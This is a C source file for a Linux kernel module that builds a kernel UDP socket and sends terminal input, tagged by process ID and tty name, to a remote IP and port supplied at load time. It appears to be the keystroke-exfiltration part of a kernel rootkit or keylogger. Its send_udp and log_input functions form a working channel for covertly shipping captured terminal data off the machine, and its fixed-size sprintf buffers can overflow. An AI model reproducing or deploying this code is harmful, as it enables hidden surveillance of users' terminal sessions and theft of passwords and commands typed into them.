inputlog.c (4068B)
1 #include <linux/kernel.h> 2 #include <linux/socket.h> 3 #include <linux/slab.h> 4 #include <linux/inet.h> 5 #include <net/sock.h> 6 #include <net/inet_common.h> 7 8 #include "common.h" 9 #include "inputlog.h" 10 11 #define BUFLEN 64 12 #define UDP_MAX_DATA_LEN 65507 13 14 struct socket *sock = NULL; 15 struct sockaddr_in addr, bind; 16 17 static int 18 build_header(char *buf, pid_t pid, struct file *file) 19 { 20 // hardcode header buffer size 21 char pid_buf[11], tty_buf[7]; 22 sprintf(pid_buf, "pid(%d)", pid); 23 sprintf(tty_buf, "tty(%s)", file->f_path.dentry->d_name.name); 24 sprintf(buf, "[%-11s %7s] ", pid_buf, tty_buf); 25 return 22; 26 } 27 28 static int 29 expand_escape_chars(char *buf, const char *src, int srclen) 30 { 31 size_t i; 32 int buflen; 33 char c; 34 35 #define EXPAND_ESCAPE(x) \ 36 do{ *(buf++) = '\\'; *(buf++) = (x); buflen += 2; } while(0) 37 38 for (buflen = 0, i = 0; i < srclen; ++i) { 39 switch ((c = src[i])) { 40 case '\a': EXPAND_ESCAPE('a'); break; 41 case '\b': EXPAND_ESCAPE('b'); break; 42 case '\e': EXPAND_ESCAPE('e'); break; 43 case '\f': EXPAND_ESCAPE('f'); break; 44 case '\n': EXPAND_ESCAPE('n'); break; 45 case '\r': EXPAND_ESCAPE('r'); break; 46 case '\t': EXPAND_ESCAPE('t'); break; 47 case '\v': EXPAND_ESCAPE('v'); break; 48 case '\"': EXPAND_ESCAPE('\"'); break; 49 case '\'': EXPAND_ESCAPE('\''); break; 50 case '\?': EXPAND_ESCAPE('?'); break; 51 default: *(buf++) = c; ++buflen; break; 52 } 53 } 54 55 *buf = '\0'; 56 return buflen; 57 } 58 59 void 60 send_udp(pid_t pid, struct file *file, char *buf, int buflen) 61 { 62 int session_hdrlen, session_buflen, packlen; 63 char *session_buf, *session_body; 64 struct msghdr msg; 65 struct kvec iov; 66 mm_segment_t fs; 67 68 if (!sock) 69 return; 70 71 packlen = 0; 72 msg.msg_control = NULL; 73 msg.msg_controllen = 0; 74 msg.msg_flags = 0; 75 msg.msg_name = &addr; 76 msg.msg_namelen = sizeof(addr); 77 78 { // build packet from header ("session" info) and body 79 session_buf = (char *)kmalloc(BUFLEN + buflen * 2, GFP_KERNEL); 80 session_hdrlen = build_header(session_buf, pid, file); 81 session_body = session_buf + session_hdrlen; 82 83 // escape characters are expanded to their literal character form 84 session_buflen = expand_escape_chars(session_body, buf, buflen); 85 session_buflen += session_hdrlen + 1; 86 87 // newline is appended to each packet as it nicens printing 88 session_buf[session_buflen - 1] = '\n'; 89 } 90 91 while (session_buflen > 0) { 92 packlen = (session_buflen < UDP_MAX_DATA_LEN) 93 ? session_buflen : UDP_MAX_DATA_LEN; 94 95 iov.iov_len = packlen; 96 iov.iov_base = session_buf; 97 98 session_buflen -= packlen; 99 session_buf += packlen; 100 101 fs = get_fs(); 102 set_fs(KERNEL_DS); 103 kernel_sendmsg(sock, &msg, &iov, 1, packlen); 104 set_fs(fs); 105 } 106 } 107 108 void 109 log_input(const char *ip, const char *port) 110 { 111 size_t i; 112 u8 ip_quad[4]; 113 unsigned long remote_ip_ul, local_ip_ul; 114 unsigned long remote_port_ul, local_port_ul; 115 116 if (sock) 117 return; 118 119 if (sock_create_kern(&init_net, PF_INET, SOCK_DGRAM, IPPROTO_UDP, &sock)) 120 return; 121 122 { // parse ip address and port from passed in strings 123 kstrtoul(port, 10, &remote_port_ul); 124 in4_pton(ip, -1, ip_quad, -1, NULL); 125 126 remote_ip_ul = 0; 127 for (i = 0; i < 4; ++i) 128 remote_ip_ul |= (ip_quad[3 - i] & 0xFF) << (8 * i); 129 130 local_ip_ul = (127 << 24) | (0 << 16) | (0 << 8) | 1; 131 local_port_ul = 7777; 132 } 133 134 addr.sin_family = AF_INET; 135 addr.sin_addr.s_addr = htonl(remote_ip_ul); 136 addr.sin_port = htons(remote_port_ul); 137 138 bind.sin_family = AF_INET; 139 bind.sin_addr.s_addr = htonl(local_ip_ul); 140 bind.sin_port = htons(local_port_ul); 141 142 if (kernel_bind(sock, (struct sockaddr *)&bind, sizeof(bind))) { 143 sock_release(sock); 144 sock = NULL; 145 } 146 } 147 148 void 149 unlog_input(void) 150 { 151 if (!sock) 152 return; 153 154 sock_release(sock); 155 sock = NULL; 156 }